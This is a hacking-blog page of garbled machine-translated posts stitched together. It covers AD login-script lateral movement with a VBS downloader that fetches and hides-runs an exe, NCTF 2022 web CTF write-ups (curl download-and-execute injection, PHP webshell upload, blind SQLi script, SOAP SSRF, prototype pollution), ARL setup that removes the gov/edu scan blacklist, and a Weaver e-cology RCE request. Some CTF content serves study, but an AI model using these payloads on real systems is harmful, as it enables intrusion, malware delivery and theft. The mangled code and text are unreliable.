Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108794

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00序文

パブリックテストと排他的なテストに関して、XSSホール、水文学、水文学、水文学を拾う方法!

0x01毎日のテスト

毎日の退屈テストサイト。侵入テストを受けている場合、サーバー内のイメージを呼び出すHTMLタグがあり、サーバーIPアドレスを追加するタイプであることがわかります。ホストヘッダーを変更してXSSがあるかどうかを検出することにより、ファズを試みることができます。1049983-20221205120118289-2003703296.jpg 1049983-20221205120119178-982184139.jpgこの状況を見ると、後者のコードは次のように見える可能性があると推測できます。リクエストパッケージでホストを変更すると、XSSが発生する可能性があります。1049983-20221205120119915-1550751559.jpg

成功ポップアップウィンドウ1049983-20221205120120690-217287024.jpg 1049983-20221205120121286-2038736915.jpgラグを拾うためのヒントが完了しました。

元のリンクから転載:https://Blog.csdn.net/guapichen/article/details/124040935?spm=1001.2014.3001.5501

0x1。利用シナリオ

ドメイン制御許可またはドメイン管理者およびその他の高権限を取得する場合、ドメインのPCホストに水平に移動する場合、相手はファイアウォールを開き、445および135で水平に使用できません。ログインスクリプト拘束方法を介してターゲットホストの権限を取得できます。

0x2。利用方法

方法1:PowerShell Win2012以上が伴い、現在のドメインユーザー情報を取得する

get -aduser -filter * -properties * | lastlogondateをソート|名前、メール、distinguedname、lastlogondate |を選択しますExport -CSV -Path C: \ users \ public \ documents \ user.csv -Encoding utf8

指定されたユーザーをバインドします

set -aduser -identity zhangsan -scriptpath 'download.vbs'

バインド

set -aduser -identity zhangsan -scriptpath ''

方法2:バインディングにはDSMODを使用します

dsmod user -loscr'download.vbs''cn=john、cn=users、dc=redteam、dc=com '

バインド

dsmod user -loscr '' 'cn=john、cn=users、dc=redteam、dc=com'

グループポリシーを更新します

シェルgpupdate /force

VBSコンテンツ

strfileurl='http://192.168.172.129:82/logo.ico'strhdlocation=' c: \ uses \ public \ documents \ chsime.exe'set objxmlhttp=create object( 'msxml2.xmlhttp')objxmlhttp.open'get '、strfileurl、falseobjxmlhttp.send()if objxmlhttp.status=200thenset objadosteam=create object(' adodb.stream.openobjadtream.penttream.peentream. 'adtypebinaryobjadostream.write objxmlhttp.responsebodyobjadostream.position=0'Stremset objfso=createObject(' scripting.filesemobject ')if objfso.fileeexists(strhdlocation)の場合、Stripting.filesextystemobject') Nothingobjadostream.savetofile strhdlocationobjadostream.closeset objadostream=noteendifset objxmlhttp=nothingstrcomputer='。' setws=wscript.createObject.createObject( 'wscript.shell')val=ws.run ( 'c: \ uses \ public \ documents \ chsime.exe'、0)

ディレクトリDC C: \ Windows \ sysvol \ sysvol \ redteam.com \ scripts \にアップロードし、1つまたは2つの方法でバインドし、グループポリシーを更新します。

https://www.cnblogs.com/websecyw/p/16657762.html

1.calc

質問アドレス:http://116.205.139.16633608001/

右クリック /ソースソースコード

@app.route( '/calc'、method=['get'])

def calc():

ip=request.remote_addr

num=request.values.get( 'num')

log='echo {0} {1} {2} ./tmp/log.txt'.format(%歳〜m%m%M%S',time.localime())、num)

WAF(num):の場合

try:

data=eval(num)

os.system(log)

:を除く

合格

str(データ)を返す

else:

「waf !」を返します

フラスコエラーは、WAFのフィルタリングルールを確認するために報告できます

http://162.14.110.241:8050/calc?num []=

def waf(s):

blacklist=['import'、 '('、 ')'、 '#'、 '@'、 '^'、 '$'、 '、' '?'、 '`'、 ' '、' _ '、' | ';'; '、' '、' '、' '、{'、 '}'、 ''、 '' '、' getattr '、' os '、' system '、' class '、' subclasses '、mro'、 'request'、 'args'、 'eval'、 'if'、 '' subprocess '、' 'file'、 'oppen'、 '' '' '' '' '' '' '' '' '' '' '' 'popen builtins '、' compile '、' execfile '、' from_pyfile '、' config '、' local '、' self '、' item '、' getItem '、' getattribute '、' func_globals '、' __ in exattribute '、' join '、' __ dict__ ']]

flag=true

BlackList:ではありません

s.lower():のno.lower()の場合

flag=false

印刷(いいえ)

壊す

フラグを返します

試した後、私はnumを操作し、%0aを使用して異なるコマンドを分離することができることがわかりました。

次に、ステートメントはeval(num)によって正常に実行される必要があることに注意してください。それ以外の場合は、os.system(log)にジャンプしないことに注意してください。解決策は、コマンドを単一の引用で包むことです。

/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a

バックテックはエコーを引き出すのは簡単ではないので、私は単にカールを使用してペイロードをダウンロードし、MSFでオンラインになります

/calc?num=%0a'curl'%09'http://x.x.x.x:yyy/testapp'%09'-o'%09'/tmp/testapp'%0a

/calc?num=%0a'chmod '%09'777'%09 '/tmp/testapp'%0a

/calc?num=%0a '/tmp/testapp'%0a

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031408772.png

2.ez_php

質問アドレス:http://81.70.155.160/

ayacms githubアドレス

https://github.com/loadream/ayacms

問題には多くの脆弱性がありますが、バックグラウンド/フロントデスクにログインする必要があります

バックグラウンドadmin.phpは弱いパスワードを試しましたが失敗し、フロントデスクが登録できませんでした.

そこで、コード監査のためにソースコードを直接ダウンロードしてから、1日のほとんどを視聴しました

ソースコードの多くの場所が定義されています( 'in_aya')またはexit( 'アクセス拒否');つまり、直接アクセスすることはできず、IN_aya定数を定義した他のPHPファイルを介して含めるまたは必要とする必要があります。

この考え方は、ファイルに含まれる脆弱性を見つけることに変換されます

私は長い間探してきましたが、 /ya /admin.inc.phpで場所を見つけました

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031946153.png

get_cookieはAYA_プレフィックスでCookie値を取得し、Decryptは対応する暗号化機能のソースコードを見つけることもできます。

暗号化中のaya_keyは、デフォルト値AAAです

ファイルが含まれた後、アイデアははるかに広くなり、それを既知の脆弱性と組み合わせます

https://github.com/loadream/ayacms/issues/3

ペイロード

?php

関数ランダム($ length=4、$ chars='abcdefghijklmnopqrstuvwxyz'){

$ hash='';

$ max=strlen($ chars)-1;

for($ i=0; $ i $ length; $ i ++){

$ hash。=$ chars [mt_rand(0、$ max)];

}

$ hashを返します。

}

function kecrypt($ txt、$ key){

$ key=md5($ key);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ txt [$ i]^$ key [$ ctr ++];

}

$ strを返します。

}

function encrypt($ txt、$ key=''){

$ keyまたは$ key='aaa';

$ rnd=random(32);

$ len=strlen($ txt);

$ ctr=0;

$ str='';

for($ i=0; $ i $ len; $ i ++){

$ ctr=$ ctr==32?0: $ ctr;

$ str。=$ rnd [$ ctr]。($ txt [$ i]^$ rnd [$ ctr ++]);

}

return str_replace( '='、 ''、base64_encode(kecrypt($ str、$ key)));

}

echo necrypt( './module/admin/fst_upload');

HTTPパッケージ

post /aya/admin.inc.php http/1.1

HOST: 81.70.155.160

Content-Length: 244

Cache-Control: Max-age=0

アップグレード-Insecure-Requests: 1

Origin: null

Content-Type: MultiPart/Form-Data;境界=--- webkitformboundarykhsd4wq8ubmzcnd1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/107.0.0.0 safari/537.36 edg/107.0.1418.6222

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6

cookie: aya_admin_lang=qwwpiaj9eitzzeeoqwtyofa0dcuamfttv2anpbulrmfnkbrmfteqg1zxtdfaaveyqymwda

Connection:閉じます

----- webkitformboundarykhsd4wq8ubmzcnd1

content-disposition: form-data; name='upfile'; filename='xzxz123123123.php'

Content-Type:アプリケーション/Octet-Stream

?php eval($ _ request [1]); phpinfo();

----- webkitformboundarykhsd4wq8ubmzcnd1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031953539.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212031954835.png

3.ezbypass

ヒントヒントwafはmodsecurityです

タイトルアドレス:http://162.14.110.241:8099/sql.php http://121.37.11.207:8099/sql.php

オンラインで参照記事を見つけました

https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html

残りはスクリプトを使用してペイロードを直接追跡することです。質問にプロンプトが私のパスワードを見つけることができるので、パスワード列のコンテンツを推測してください。

リクエストをインポートします

インポート時間

flag=''

i=1

true:

min=32

max=127

最小max:

time.sleep(0.08)

mid=(min + max)//2

印刷(chr(mid))

payload='if(ascii 1.e(substring(1.e(users.info)、{}、1)){}、1,0)'。形式(i、mid)

url='http://162.14.110.241:8099/sql.php?id={}'。形式(ペイロード)

res=requests.get(url)

res.text:の「letian」の場合

min=Mid + 1

else:

max=mid

flag +=chr(min)

I +=1

print( 'found'、flag)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212032123517.png

4.ez_sql

質問アドレス:http://81.70.155.16033603000/https://NCTF.H4CK.fun/static/upload/files/06b43b853452e30514edf6bd709b3f99.zip

タイトルの説明はソースコードを示します

app.js

Import {Application、Router、Helpers} from 'https://deno.land/x/oak/mod.ts';

'./db.js'からのインポートフライト;

const app=new Application();

const router=new Router();

router.get( '/'、async(ctx)={

ctx.response.body='フライトをチェックしてください `/flight?id=`';

});

router.get( '/flight'、async(ctx)={

const id=helpers.getquery(ctx、{mergeparams: true});

const info=await flight.select({leavess: 'departing'、destination: 'destination'})。where(id).all();

ctx.response.body=info;

});

app.use(router.routes());

app.use(router.allowedMethods());

app.listen({port: 3000、hostname: '0.0.0.0'});

db.js

'https://deno.land/x/denodb@v1.0.40/mod.ts'から{dataTypes、database、model、sqlite3connector}をインポート

const connector=new sqlite3connector({

filepath: '/tmp/flight.db'

});

const db=new Database(connector);

クラスフライトはモデルを拡張します{

静的テーブル='Flight';

静的フィールド={

ID: {PrimaryKey: true、autoincrement: true}、

Department: Datatypes.String、

Destination: datacypes.string、

};

}

クラスフラグはモデルを拡張します{

静的テーブル='flag';

静的フィールド={

flag: datatypes.string、

};

}

db.link([flight、flag]);

await db.sync({drop: true});

flight.createを待っています({

部門:「パリ」、

Destination: '東京'、

});

flight.createを待っています({

部門: 'ラスベガス'、

Destination: 'ワシントン'、

});

flight.createを待っています({

部門:「ロンドン」、

Destination: 'サンフランシスコ'、

});

flag.createを待っています({

flag: deno.env.get( 'flag')、

});

デフォルトフライトをエクスポートします

hack.lu 2022 foodapiとほぼまったく同じ、参照記事は次のとおりです

https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/

https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98

https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436

唯一の違いは、元の質問IDがRESTFUL APIフォームを使用しているのに対し、この質問はパラメーターに渡されるため、直接コピーすることはできません

ただし、記事で分析された原則を見ると、このアイデアはパラメーターを使用してSQLステートメントをスプライスすることであることがわかります。

http://81.70.155.160:3000/flight?id=1?=aおよび0ユニオン選択フラグ、2から2。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202212041449665.png

添付ファイルのダウンロード:https://github.com/x1ct34m/nctf2022

元のテキストの転載:https://EXP10IT.CN/2022/12/NCTF-2022-web-writeup/#calc

babyphp

index.php:

?php

//flag.phpの何か

クラスA

{

public $ a;

public $ b;

パブリック機能__wakeup()

{

$ this-a='babyhacker';

}

パブリック機能__invoke()

{

if(isset($ this-a)$ this-a==md5($ this-a)){

$ this-b-uwant();

}

}

}

クラスb

{

public $ a;

public $ b;

public $ k;

function __destruct()

{

$ this-b=$ this-k;

die($ this-a);

}

}

クラスc

{

public $ a;

public $ c;

パブリック機能__toString()

{

$ cc=$ this-c;

$ cc()を返します。

}

パブリック関数uwant()

{

if($ this-a=='phpinfo'){

phpinfo();

} それ以外{

call_user_func(array(reset($ _ session)、$ this-a));

}

}

}

if(isset($ _ get ['d0g3'])){

ini_set($ _ get ['baby']、$ _get ['d0g3']);

session_start();

$ _SESSION ['SESS']=$ _POST ['SESS'];

}

それ以外{

session_start();

if(isset($ _ post ['pop'])){

Unserialize($ _ post ['pop']);

}

}

var_dump($ _ session);

highlight_file(__ file__);

flag.php:

?php

session_start();

highlight_file(__ file__);

//ルートディレクトリのフラグ

if($ _ server ['remote_addr']==='127.0.0.1'){

$ f1ag=inprode(array(new $ _get ['a']($ _ get ['b'])));

$ _Session ['f1ag']=$ f1ag;

}それ以外{

echo 'only localhost !';

}

ポップチェーンを構築することで、SESSION.SERIALIZE_HANDLERがPHPであり、flag.phpのソースコードと組み合わされていることがわかります。SSRFを実行するためにセッションがSOAPCLIENTを希望すると推測されます。

アイデアは、最初にini_setのパラメーターを制御して、serialize_handlerをphp_serializeとして指定し、パラメーターsessをsoapclientの脱isizationのペイロードとして渡し、すべてのポストパラメーターを取得し、ページに1回アクセスして脱izerializationをトリガーすることです。最後に、既知のポップチェーンを使用して、soapclient __callメソッドを呼び出してssrfをトリガーします

SSRFはまず、PHPのネイティブクラスGlobiteratorを使用して、ルートディレクトリ内のFから始まるファイルを見つけ、次にSplFileObjectを使用してフラグを読み取ります。

ポップチェーンPayload:

?php

クラスA

{

public $ a;

public $ b;

}

クラスb

{

}

クラスc

{

public $ a;

public $ c;

}

$ cc=new C();

$ cc-a='xxxx';

$ a=new a();

$ a-a='0E215962017';

$ a-b=$ cc;

$ c=new C();

$ c-c=$ a;

$ b=new b();

$ b-a=$ c;

Echo Serialize($ b);

SSRF Payload:

?php

//$ a=new soapclient(null、array( 'location'='http://127.0.1/flag.php?a=globiteratorb=/f*'、 'user_agent'='='='=' 'テスト'));

$ a=new SoapClient(null、array( 'location'='http://127.0.1/flag.php?a=splfileobjectb=/f111111lllllllllaagg'、 'user_agent'='111 \ r \ ncookie: phpsessid=c9urdtg4k4kp5jl36mml4qfp5jl36M 'uri'='test'));

$ b=serialize($ a);

echo '|' .urlencode($ b);

最初にGlobiteratorを使用します

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271930808.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271931449.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271934414.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271935912.png

splfileobjectを再利用します

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936690.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271936090.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938787.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271938294.png

ez_js

ログインインターフェイスとアカウントのパスワードを自由に入力すると、 /cookieルートにジャンプし、右クリックしてjsfuck復号化プロンプトをコメントします。

ホームページを右クリックして、次のようにコメントします:

! - この秘密はセキュリティのために7文字の長いです!

Hash=Md5(Secret+'Flag'); //1946714CFA9DEB70CC40BAB32872F98A

管理者クッキーはですMD5(Secret+UrldeCode( 'フラグ%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00% %00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%

-

1目のハッシュ長拡張攻撃

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271942270.png

Cookie Hashを直接変更し、役に立たないことがわかりました。その後、ユーザーIDは空になり、エラーが発生しました

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271943926.png

以前のヒントと組み合わせて、JS :の上限と小文字の機能を使用します

'ı'.touppercase()==' i '//true

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271944110.png

次に、 /infoflllllagにジャンプします(静的環境は30分ごとにリセットされるため、前の写真がキャプチャされます)

var Express=require( 'Express');

var router=express.router();

const isobject=obj=obj obj.constructor obj.constructor===object;

const merge=(a、b)={

for(b in bのvar attr){

if(isobject(a attr])isobject(b [attr])){

マージ([attr]、b [attr]);

} それ以外{

a [attr]=b [attr];

}

}

aを返します

}

const clone=(a)={

MERGE({}、a)を返します。

}

router.get( '/'、function(req、res、next){

if(req.flag=='flag'){

//出力フラグ;

res.send( 'flag ???');

}

Res.Render( 'Info');

});

router.post( '/'、express.json()、function(req、res){

var str=req.body.id;

var obj=json.parse(str);

req.cookies.id=clone(obj);

Res.Render( 'Info');

});

module.exports=router;

REQのフラグ属性をプロトタイプチェーンを介して汚染する必要があることは明らかです。ペイロードは次のとおりです

id={'__ proto __' :+{'flag':+' flag '}}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271947808.png

次に、旗にアクセスします

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948522.png

静的ターゲットマシンのスクリーンショット

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271948518.png

ezupload

最初にphpinfoをアップロードします

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202211271949581.png

php 8.0.1、disable_functionsはバンチをフィルタリングしますが、file_get_contents()が利用可能であり、質問のソースコードはそれを読みます

HTML

form method='post' enctype='multipart/form-data'

このフロントエンドは美しくありません!

入力型='ファイル' name='upload_file' /

入力タイプ='送信' name='送信'値='送信' /

/形状

/体

/HTML

?php

function waf($ var): bool {

$ blacklist=['\ $ _'、 'eval'、 'copy'、 'assert'、 'usort'、 'include'、 'require'、 '$'、 '^'、 '〜'、 ' - '、 '%'、 '*'、 'file'、 'fopen'、 'fwriter'、 'fput'、 'copy'、 'curl'、fread '、' fget '、' function_exists '、' dl '、' putenv '、' system '、' exec '、' shell_exec '、' passthru '、' proc_open '、' proc_close '、' proc_close '、 'proc_get_status'、 'checkdnsrr'、 'getmxrr'、 'getservbyname'、 'getservbyport'、 'syslog'、 'popen'、 'show_source'、 'highlight_file'、 '``、' chmod '];

foreach($ blacklist as $ blackword){

if(strstr($ var、$ blackword))trueを返します。

}

falseを返します。

}

error_reporting(0);

//Directoryのアップロードを設定します

定義( 'upload_path'、 './uploads');

$ msg='アップロード成功!';

if(isset($ _ post ['submit'])){

$ temp_file=$ _files ['upload_file'] ['tmp_name'];

$ file_name=$ _files ['upload_file'] ['name'];

$ ext=pathinfo($ file_name、pathinfo_extension);

if(!preg_match( '/php/i'、strtolower($ ext))){

die( '私は写真が欲しくない、xiong da');

}

$ content=file_get_contents($ temp_file);

if(waf($ content)){

die( 'ああ、あなたは何をしているの、小さなheizi .');

}

$ new_file_name=md5($ file_name)。 '。'。$ ext;

$ img_path=upload_path。 '/'。 $ new_file_name;

if(move_uploaded_file($ temp_file、$ img_path)){

$ is_upload=true;

} それ以外{

$ msg='アップロード障害!';

die();

}

echo $ msg。 ' '。$ img_path;

ビット操作|フィルタリングされていません。ここで、|を取ります例として、Globiteratorを使用してフラグを見つけます

Reをインポートします

preg='\*'

def converttourl(s):

S 16:の場合

return '%0' + str(hex(s).replace( '0x'、 ''))

else:

return '%' + str(hex(s).r

プルアイテム

最初にGitHubからサーバーにクローンを作成します。

git clone https://github.com/ki9mu/arl-plus-cocker/file

構成ファイルを変更

ARLには構成ファイルにブラックリストがあるため、プロジェクトがGOVまたはEDUなどがスキャンできない場合があるため、ここで構成ファイルを変更すると制限を引き上げることができます。

CD arl-plus-docker/

vi config-docker.yamlここでブラックリストのいくつかのアイテムを削除するだけです

file

変更後:

file

RiskIQおよびFOFA APIを追加および変更します

1049983-20221208103845056-23542144.png

OneForAllモジュールは拡張バージョンに追加されるため、クローンのデフォルトコードがフレーズであるため、構成ファイルで開く必要があります。ここではTTUEでオンにするスイッチを交換できます。

VI OneForall-Config/Setting.py file

変更後:

file

構成ファイルに変更したら、Dockerを開始します。最初にボリュームを追加し、次にDocker -Compose Up -Dを直接開始できます。画像を引くときに非常に遅い場合は、Dockerソースを変更できます。

DockerボリュームCREATE -NAME=ARL_DB

Docker-Compose Up -D file

完了の行が表示されると、成功していることを意味します。この時点では、Pythonスクリプトにブラックリストもあるため、Pythonコードを変更するためにコンテナを入力する必要があります。最初にDocker PSを使用してコンテナIDを確認し、このコンテナを変更して編集するためにVIを使用します。

Docker PS #ViewコンテナID

docker exec -it対応するID bash

変更前のvi app/config.py:

file

file

指紋を追加

インストールが成功した後、指紋を追加して灯台に強い指紋を与えます。

住所:https://VPS:5003/!

デフォルトアカウントの秘密:admin \ arlpass

git clone https://github.com/loecho-sec/arl-finger-add

CD arl-finger-add

python arl-finger-add.py -o https://vps:5003/admin arlpasscopy file

インストールに正常に

デフォルトのパスワードでログインし、右上隅のデフォルトのパスワードを変更して、喜んで使用します。

特定のアプリケーションには、バックグラウンドRCEがあります。関連情報によると、バックグラウンド監査プロセスでNewinstanceインスタンス化への呼びかけが見つかりました。

1049983-20221230170129034-671147105.jpg

ソースをトレースし、interfacere -gistercustomoperationcmd #excuteを見つけます

1049983-20221230170129956-1020521781.jpg 1049983-20221230170130646-385254389.jpg 1049983-20221230170131290-137097182.jpg 1049983-20221230170131980-1777197742.jpgアクセスパスは/API/Integration/Workflowflow/GetInterfacereGisterCustomoperationです

GetInterFacereGisterCustomoperation Calluteを実行し、最初にユーザーを審査するため、ここにはバックグラウンドの脆弱性があります

1049983-20221230170132700-2106793641.jpg

この汚染関数javacodetoobjectが必要なので、ifの条件を満たし、var18とvar20を制御する必要があります

1049983-20221230170133379-129851401.jpg

ここでは、var14を追加する必要があります

1049983-20221230170134013-1295699688.jpg

var14の値は、postメソッドが前に指定されているため、リクエストパラメーターメソッドから取得されるため、ここでメソッド=add

1049983-20221230170134726-485666733.jpg

判断を下した後、VAR15の値は空の場合に返されるため、ActionIDの値は空になりません。上記の条件と組み合わせると、method=addactionId=1

1049983-20221230170135481-1496417566.jpg

VAR18の開始がweaver.interfaces.workflow.action.javacode.actionが次の判断を入力して、例外をスローする場合、望ましい結果を達成できません。ここでclassname=weaver.interfaces.workflow.action.javacode.action、上記のパラメーターmethod=addactionid=1classname=weaver.interfaces.workflow.action.javacode.action

1049983-20221230170136238-102379160.jpg

次のVAR20値はJavacodeパラメーターから取得され、上記のペイロード方法=addactionId=1classname=weaver.interfaces.workflow.action.javacode.actionjavacode=

1049983-20221230170136847-546769203.jpg

var18にweaver.interfaces.workflow.action.javacodeが含まれている場合、javacodetoo objectコールに必要な場合、classname=weaver.interfaces.workflow.action.javacode.action.interfaces.workflow.action.action.javacode.actionが接続に使用されます。それ以外の場合、読み込み例外が報告されます。

1049983-20221230170137504-33586078.jpg

上記の条件によると、VAR18およびVAR20の条件は満たされています。構築されたvar20のパラメーターはjavacode=package weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacodeです。 java.io.ioexceptionをインポートします。 public class test {static {try {runtime.getRuntime()。exec( 'calc.exe'); } catch(ioexception e){e.printstacktrace(); }}}ここで、コマンドによって実行されたコードは、静的コードブロックに配置されます。これは、staticのコードがインスタンス化中に自動的に実行され、コマンドの実行が達成されるためです。

1049983-20221230170138280-888687245.jpg

実際のパッケージは正常に使用されていないようです。コードを振り返って、パラメーターがdtinfo_customparameterdataに紛失したことがわかりました

POST/API/Integration/Workflowflow/getInterFacereGisterCustomoperation HTTP/1.1

host:

アップグレード-Insecure-Requests: 1

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/105.0.0.0 safari/537.36 EDG/105.0.0.1343.3333333333333333333333333

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/Apng、*/*; Q=0.8、Application/Signed-Exchange; v=b3; q=0.9

Accept-Encoding: gzip、deflate

Accept-Language: Zh-Cn、Zh; q=0.9、en; q=0.8、en-gb; q=0.7、en-us; q=0.6

cookie: ecology_jsessionid=aaa8g6prbnnbd82yi6fky; jSessionId=aaa8g6prbnnbd82yi6fky; __randcode __=D2FA15E2-395E-4B3B-A004-82FC07C18695; loginidweaver=1; LanguageIdWeaver=7; loginuuids=1

Connection:閉じます

Content-Type:アプリケーション/x-www-form-urlencoded

Content-Length: 548

メソッド=addactionId=1classname=weaver.interfaces.workflow.action.javacode.action.weaver.interfaces.workflow.action.javacode.testdtinfo_customparameterdata=11javacode=package weaver.interfaces.workflow.action.javacode.weaver.weaver.weaver.weaver.weaver.caction.wevever.weaver.caction.wever.weaver.cact

java.io.ioexceptionをインポートします。

パブリッククラステスト{

static {

試す {

runtime.getRuntime()。exec( 'calc.exe');

} catch(ioException e){

e.printstacktrace();

}

}

}

1049983-20221230170139043-1135092367.png

転載:https://xz.aliyun.com/t/11947

必要性

フロントエンドの分離は、Webで大きな傾向になりました。 Tomcat+ngnixを介して効果的に分離することができます(中央にnode.jsもある場合があります)。さらに、フロントエンドとバックエンドの分離は、将来の大規模な分散アーキテクチャ、弾性コンピューティングアーキテクチャ、マイクロサービスアーキテクチャ、およびマルチターミナルサービス(ブラウザー、ビーチクルターミナル、Android、IOSなど)の複数のクライアント)の強固な基盤を築きます。 APIは、フロントエンドコミュニケーションの責任を引き受けます。したがって、APIセキュリティを学習する必要があります。

この記事のアイデアは、APIのいくつかの一般的な攻撃表面を要約することです。著者はまだこの領域を学んでいます。間違いがあれば、あなたがそれを修正できることを願っています。

一般的なAPIテクノロジー

graphql

GraphQlは、APIのクエリ言語です

通常、次の特性があります。

(1)データパケットは /graphqlインターフェイス1049983-20230129135917968-89120057.pngに送信されます

(2)多くの新しい文字が含まれています\ n

{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null} Webサービスの説明を、クライアントがドキュメント情報またはプロセスコールを含むサービスにアクセスできるサービスアクセスポイントのセットとして定義します。 SOAPプロトコルが使用され、通常はXML形式のデータが送信され、WSDLファイル1049983-20230129135918652-993812695.pngがあります

.netのcommon.asmxファイルもwsdl形式xxx.asmx?wsdl 1049983-20230129135919449-1509316087.pngを持っています

Soapuiを使用して、このタイプのAPIをテストできます

soap-wsdl

ファイルに非常に明白なWADLロゴがあります

1049983-20230129135920363-2085092611.png

SoapuiのREST機能をテストに使用することもできます

1049983-20230129135921297-1009304781.png

wadl

REST APIは以前のものほど明白ではなく、最近最も一般的に使用されているAPIテクノロジーでもあります

RESTは、プロトコルや標準ではなく、建築仕様のセットです。 API開発者は、さまざまな方法でRESTを実装できます。

クライアントがRESTFUL APIを介してリクエストを行うと、リソースステートメントをリクエスターまたは端末に渡します。この情報または式は、JSON(JavaScriptオブジェクト表記)、HTML、XLT、Python、PHP、またはプレーンテキストのいずれかの形式のいずれかでHTTPを介して送信されます。 JSONは、最も一般的に使用されるプログラミング言語です。元の英語名は「JavaScriptオブジェクト表記」を意味しますが、さまざまな言語に適しており、人間と機械の両方で読むことができます。

注意すべきことがいくつかあります。ヘッダーとパラメーターは、リクエストされたメタデータ、承認、統一リソース識別子(URI)、キャッシュ、Cookieなどの重要な識別情報が含まれているため、RESTFUL API HTTP要求のHTTPメソッドでも重要です。リクエストヘッダーと応答ヘッダーがあり、それぞれに独自のHTTP接続情報とステータスコードがあります。

休息

APIのセキュリティテストについては、通常、APIの許可問題、APIエンドポイントのセキュリティ問題、インフラストラクチャに焦点を当てています。

APIエンドポイントのセキュリティ問題をテストするには、できるだけ多くのAPIエンドポイントを取得しようとする必要があります

エンドポイントを取得する方法

Swaggerは、RestfulスタイルのWebサービスを生成、説明、呼び出し、視覚化するための標準化された完全なフレームワークです

一般的な指紋:

#swagger 2

/swagger-ui.html

/API-DOCS

/v2/api-docs

#swagger 3

/swagger-ui/index.html

1049983-20230129135922103-1944238266.png

/API-DOCS

/v2/api-docs

/v3/api-docs

.

API-DOCは、すべてのエンドポイント情報1049983-20230129135922819-1063074218.pngを表示できます

テスト用の2つのツールを次に示します

最初のものはSwagger-Editorです

https://github.com/swagger-api/swagger-editor

ダウンロード後、index.htmlを開くことで使用できます。 URLをインポートまたはリモートロードすることを選択できます。 JSONおよびYAML形式のAPI-DOCをサポートします。

2つ目はapikit3https://github.com/api-security/apikitです

バーププラグイン1049983-20230129135924555-102219345.png

swagger api-docsリーク

すべてのエンドポイント情報を取得します

